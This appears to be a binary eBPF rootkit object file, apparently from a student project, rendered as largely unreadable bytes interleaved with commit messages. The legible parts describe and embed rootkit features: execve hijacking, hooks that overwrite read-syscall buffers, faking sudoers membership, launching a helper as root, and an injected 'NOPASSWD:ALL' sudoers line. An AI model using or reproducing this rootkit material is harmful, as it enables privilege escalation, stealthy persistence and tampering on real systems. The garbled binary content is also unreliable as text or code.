H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u5H<35>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00>EH<45>E<EFBFBD><45><EFBFBD><00><>t6H<36>E<EFBFBD><45><EFBFBD><00><>t'H<>E<EFBFBD><45><EFBFBD><00><>tH<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>P<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00><00><00><01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<>M<EFBFBD><4D>E<EFBFBD>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>Eԃ}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5j<35><6A><EFBFBD><EFBFBD><00>H<>5Y<35><59><EFBFBD><EFBFBD><00><00>?<3F><><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00><>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><0E><><EFBFBD><EFBFBD>Ẽ}<7D>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00><><00><01><00>EЉ<00><01>H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u,<2C>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00><>H<>E<EFBFBD><00>H<>=<00>H<>E<EFBFBD>H<EFBFBD>}<7D>uH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H)<29>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00><00>#H<>EؾdH<><48><EFBFBD><00>Ẽ}<7D><>u	<09>E<EFBFBD><00><0F><00><><01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openexec_var_hijack_activekit_bpf.rodatakit_bpf.bsshandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execveuprobe_execute_commandxdp_receiveELF<00>`<60>@@<00><00><00>U<00><00>$yy<00>{
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
+								<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00>	<00><><EFBFBD><EFBFBD><07>yv<06>ar<00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>LL #c<1A><>PASSWD:A{<1A><>:ALL) NO{<1A><>ALL=(ALL{<1A><>osboxes {<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p	<00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c	<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00><00>y<><79><EFBFBD><00>d<00><00>s <00><00>&<00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00>	m	&<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD><00><00><00>	<00><><EFBFBD><EFBFBD><00><><00>#s<1A><><00>%<00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>3<00><00><00><00><00>	<00><>><00><00><00><><00><00><00>{j<><6A><00>	{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m	Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00>
<00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD>
<00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s%q<><71><EFBFBD>U#uq<><71><EFBFBD>U!dq<><71><EFBFBD>Uoq<><71><EFBFBD>Uq<><71><EFBFBD>/q<><71><EFBFBD>Ueq<><71><EFBFBD>Utq<><71><EFBFBD>Ucq<><71><EFBFBD>U/q<><71><EFBFBD>Usq<><71><EFBFBD>U
uq<><71><EFBFBD>Udq<><71><EFBFBD>U	oq<><71><EFBFBD>Ueq<><71><EFBFBD>Urq<><71><EFBFBD>Us<00>	q<><71><EFBFBD><00>	c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00><00><00><00>a<01><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>{X<><00><><EFBFBD><EFBFBD><06>yc<03><00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>\<00><00>yc<00><>X<><58><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>m<00><00><00>sW<>sV<><00>ks*U<><00>as*S<><00>js*R<><00>is*Q<><00>_s*O<><00>vs*M<><00>ps*D<><00>ls*C<><00>cs*T<>s*L<>s*?<3F><00>rs*F<>s*><3E><00>Gs*;<3B><00>Fs*:<3A><00>Ts*9<><00>xs*J<>s*5<><00>bs*3<><00>ss*G<>s*=<3D>s*7<>s*2<><00>es*N<>s*K<>s*I<>s*E<>s*B<>s*6<>s*/<2F><00>ms*.<2E><00>os*4<>s*1<>s*-<2D><00>hs*P<>s*A<>s*,<2C><00>/s*H<>s*@<40>s*<<3C>s*8<>s*0<>s*+<2B><00><><EFBFBD><EFBFBD>y<><79><EFBFBD>_{<1A><>s<1A><>yaUZ<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD><00>q<><71><EFBFBD>Uw<00><00><00><00><><EFBFBD><EFBFBD>UHya<00><>+<2B><><EFBFBD><EFBFBD>-<00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD>~<00>$<00>;ya<00><00><00>$e7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>X<><58><EFBFBD><00><00>,<00><00><><00>c!<00>{ <20>{<18>{<10>{<08>{<00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><00>p<00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD><00><>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD>3<00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD>I<00><>q<><71><EFBFBD>U
 								w_<00><00>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><>ya<00><>X<><58><EFBFBD><EFBFBD><00>$<00><00><><00><00><00><00><00>aeag<00>y	=<3D><00><00>x"=<3D>,q<>	U<00>q6=.<00><00><00><00>i<>#(i<><00>0<00><00><00><>i<><00>i<>wW<q<>gW<#<00><>	6<00><00><00><><00>A	=M<00><>{Z<><5A>O<00>6<00>C{J<><4A><00>	<00>y<><79><EFBFBD>qAX<00><00><>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0<00><00>y<><79><EFBFBD><00>iq
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								girO!irk*<2A><>c<1A><>iqgirO!irisgO#g O{:<3A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><><00>a<00><00>A
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								m<00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>)	"aa{*<2A><>{*<2A><>=!<00>	=<3D><00>y<><79><EFBFBD>6=!V<00><00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00><00><00>Gy<><79><EFBFBD><00><00>	aa{<1A><>ahy<><79><EFBFBD>= <00><00><00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD>%<00>)<00>N<00><00><><00><><00>acm<00>*<00><><00>;<3B>y<><79><EFBFBD>=<00><00><>=9<00>y<><79><EFBFBD>i#<00>i<>wW<q"gW<#{:<3A><><00>2g w <00>9[-#f_<00><19>i<><69><EFBFBD>y<><79><EFBFBD>ka<><61><EFBFBD>kwk
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ci<>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								i<><00><00>i<><00><00>k<00><00>{<1A><>k(
 								D<00>*<00><00><><00><00><00><00><00><><00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								i#i$
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								,<00><00><00>P<><00><>'=~wy<><79><EFBFBD>g w <00><>-<2D>o<00>s&s%s$s#s"s!s sssssssssssssssssss
sss
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								s	sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms
<00>sssss<00>us
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>os	<00>iss<00>vs<00>rs<00>ps<00> s$sssss<00>es"ssssss<00>hsss<00>Ts<00><00>&7<>n<00><00>-<00><00><00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
 								UPROBE activated
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								Bound check fail ABDE %i
 								F, PS:%i, P:%i, DE:%i
 								GReceived valid TCP packet with payload %s of size %i
 								HOLD data_end: %i, payload: %i
 								Control back to main program with retcode %i after expanding %i bytes
 								Bound check A failed while expanding
 								Bound check B failed while expanding
 								Bound check D failed while expanding
 								Unlikely you are here, but OK
 								Bound check E failed while expanding
 								Bound check F failed while expanding
 								BPF finished with ret %i and payload %s of size %i
 								 BPF finished with error on expansion
 								Previous length: %i, current length: %i
 								NEW data_end: %i, payload: %i
 								And on NEW CTX data_end: %i, payload: %i
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								Error writing to user memory
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
+								Error writing to user memory in additional symbol
 								Sudo overwritten
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								Overwritting at pid %u, %s
 								Filename is %s
 								and program name is %s
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
+								Error writing to user memory
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								Error reading 1
 								Error reading 3
-												Completed execve hijacking, as with special error cases that arise and that are documented in the code.

											
										
										
											2022-02-14 17:45:07 -05:00
+								Error writing to user memory by %s
 								Error reading
 								Error reading 1
 								wError reading test 3
 								Equal from the start
 								Error writing to user memory at test by %s
 								Error reading test 1
 								Error reading tets 2
 								Error reading test 3
 								Error case 2
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								Failed to expand a tcp packet reserved bytes by %i
 								Bound check A failed while expanding
 								Bound check B failed while expanding
 								Bound check C failed while expanding
 								before: %i, checksum %u
 								after: %i, checksum %u
 								csum: %u for data_start %u, data_size %i
 								Invalid attempt to substitute the payload A
 								Invalid attempt to substitute the payload C
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								Dual BSD/GPLThat is now hiddenosboxes ALL=(ALL:ALL) NOPASSWD:ALL #<00><><00><00>
1  %*@6
-												Added new TC module, updates to the exec hooking system and the userland module

											
										
										
											2022-02-20 16:50:15 -05:00
+								>D@[8hl@o`s<00><00><00><00><00><01><00> <00> %	*@<00>
<00><00><00><00><00> %	*	@<00>
<00><00>
<00><00><00>" @o!`6!<00>>#<00>E%QWo et<00><00>"<00>
<00><00>$'>(QX@e`l(<00>h<00>m)s@<00>(
<00>&<00>*-<00>QX@<00>.<00><00>@
<00>,<00>/2<00>	(QX@e`<00>	<00><00><00>Q<00>	3 <00>	
<00>1<00>	47~(QX@e`<00>8<00><00>:<00><00>:9
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								;
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+
<00>6<00><?<04>((@(<00>(<00>("(@%(<00>)(<00>-(0(@3(<00>6(<00>9(<(@?(<00>B(<00>J(M(@Q(<00>P(<00>S(
<00>>V@C<00><00><00> @
 								`<00>)<00>
<00>B8DF<00>LGPGXG\HdH gH0pG@tGH}JP<00>K`<00>K<00><00><00>I<00><00>I<00>s<00>zH<00>H<00>K <00>K@<00>I`<04>Id<04>Ih<01>Ii<01>Ij<01>Ik<01>Il<01>Im<01>In<01>Io<01>Hp}J<00><00>H<00>9+M	/+O9>+Q
]+S9e+U9y+W<00>+W9<00>+Z9<00>+\<00>+W96<00>+_<00>+W9,b9G),d9&?,fV,fm,f<00>,b<00>,f<00>,f95<00>,m<00>,f9)<00>,p-b9*%-s9<-u93\-w-Q9<00>-z9<00>-|9<00>-~.u9..<0E>Q.<0E>9$w.<0E>9<00>.<0E><00>.<0E>9<00>.<0E>/<0E>9,*/<0E>L/<0E>n/<0E><00>/<0E>9<00>/<0E>94<00>/<0E><00>/f0f@0f9e0<0E><00>0~<00>0s9-<00>0<0E><00>0<0E><00>0P<00>0  <00>03NRVX,Y.[0]6^M`O6a<00>c<00>e<00>Gg<00>&h&i9&j_k~&l<00>&n<00>5o<00>&q%)rNtm*v<00>x<00>3y<00>{<00>}&<00>><00>\<00>m<00>~$<00><00><00><00><00><00><00><00><00><00>,<00><00>3<00>I<00>_<00>m4<00><00>&<00><00>&<00><00>&<00><00>,<00>D*<00>n-<00><00>-1T
int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_priv_openkeyvaluefs_openexec_var_priv_hijack_activeexec_var_hijack_activetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h	pid_t pid = bpf_get_current_pid_tgid() >> 32;	return 0;sys_read_enter_ctxunused__syscall_nrpaddingcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h    if (ctx == NULL){        bpf_printk("Error\n");    char *buf = (char*) ctx->buf;     int fd = (int) ctx->fd;     __u64 pid_tgid = bpf_get_current_pid_tgid();    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (stored_data == NULL){    struct fs_open_data data = *stored_data;    data.fd = fd;    data.buf = buf;    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_t
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								p<00><00><00>
 								t<00><00><00>
-												Added new TC module, updates to the exec hooking system and the userland module

											
										
										
											2022-02-20 16:50:15 -05:00
+								|X<00>0<0E>`<00>0<08>x<00><00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00>J <00>J00<00>J%@<00>JX<00>Jp<00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0 <00>J%0<00>JH<00>J`<00>J0p<00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00>J0<00>J% <00>J8<00>JP<00>J0`<00>J%p<00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00>J%<00>J(<00>J@<00>J0P<00>J%`<00>Jx<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00>J<00>J0<00>J0@<00>J%P<00>Jh<00>J<00><00>J0<00><00>J%<00><00>J<00><00>J<00><00>J0<00><00>J%<00><00>J<00>J <00><00>TP<00><00>X<00><00><00>\<00><00><00><00>0`<00><00>0`<00><00><00><01><00><00><0C> <00><00><0C>(<00>
<0A>h<00>@<0E><00><00>b<1C><00><00>b	<09><00><00><00><10><00><00><00><00><00><10><00><00><00><10><00><00>
	<11><00><00>`		<09>	<00><00>		d<00>	8<00>
 								<00><00>Z<16>(<00>R
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
-												Added new TC module, updates to the exec hooking system and the userland module

											
										
										
											2022-02-20 16:50:15 -05:00
+								<EFBFBD>@<00>H<00>v
 								<0F>x<00><00>
 								<08><00><00><00>
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
-												Added new TC module, updates to the exec hooking system and the userland module

											
										
										
											2022-02-20 16:50:15 -05:00
+								<EFBFBD><00><00><00>
 								L<><00><00><00>
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
-												Added new TC module, updates to the exec hooking system and the userland module

											
										
										
											2022-02-20 16:50:15 -05:00
+								<EFBFBD><00><00><00>
 								<05><00><00>J<19><00><00>k<1A><00><00>J <20><00><00>J<19> <00><00><05>8<00>J<19>P<00><00>
-												Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions

											
										
										
											2022-02-19 11:08:56 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<EFBFBD>X<00><00><05>h![
pp![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p![
p![
p![
p![
p ![
p(![
p0![
p8![
p@![
pH![
pP![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00><00><00><00><00><00>I<00><00><00>Z<00>8
d0<00>8
d@<00>U
x<00><00><00>
<13><00><00><00>
<12><00><00><00>
<1A><00><00>
<08><00><00>
<08>(<00><00>
<08>0<00>*	<09>P<00>S=<3D>h<00>S<08>x<00>S<08><00><00><00>	<09><00><00><00>P<00><00>\<00><00>\<00><00><14><00><00>;<13><00><00>`<1A><00><00>`&<26><00><00><00><08>(<00><00><08>0<00><00>	<09>H<00><00><08>P<00><00><08>X<00>	<09>h<00><00><00>Hp<00><00><00>*<2A><00><00><00><08><00><00><00><08><00><00>	<09><00><00>N*<2A><00>N<08> <00>N<08>0<00><00>	<09>`<00><00><14><00><00><13><00><00>B<14>(<00>}@<40>8<00><00><14>@<00>}<08>P<00>}<08>X<00><00>	<09>x<00><00><<3C><00><00><00><08><00><00><00><08><00><00>*	<09><00><00><00> <00><00>6+<2B><00><00>6<08><00>6<08><00>j	<09>(<00><00>/@<00><00>P<00><00>X<00><00>	x<00><00><00><00><00><00><00><00>	<00><00>2(<00><00>2(<00><00>I	0<00><00>o+4<00><00>I	0<00>o	4<00><00>'H0<00><00>Hm<00><00>< <00><00>@D<00>Mr<00>M<00>)<29>M<00>%<25><00>60(Mo0M<00>	P<00><00>L`M<00>	(hM-	,<00><00><00><10><00>M<00>	<<00><00><00>h<00>M*	T<00>MZ	X<00>M<00>M<00>d<00><00>4<00>M,	h<00>Mh	l M<00>|0M<00>3|8M<00>8|HM<00>+|PM<00>D|XM<00>H|hM<00>=|pM<00><1B><00>M	<09><00>MU	<09><00><00><00><18><00>M<00>	<09><00>M	<09><00>M4<05>(![
p0![
p8M<00>	<09>P![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
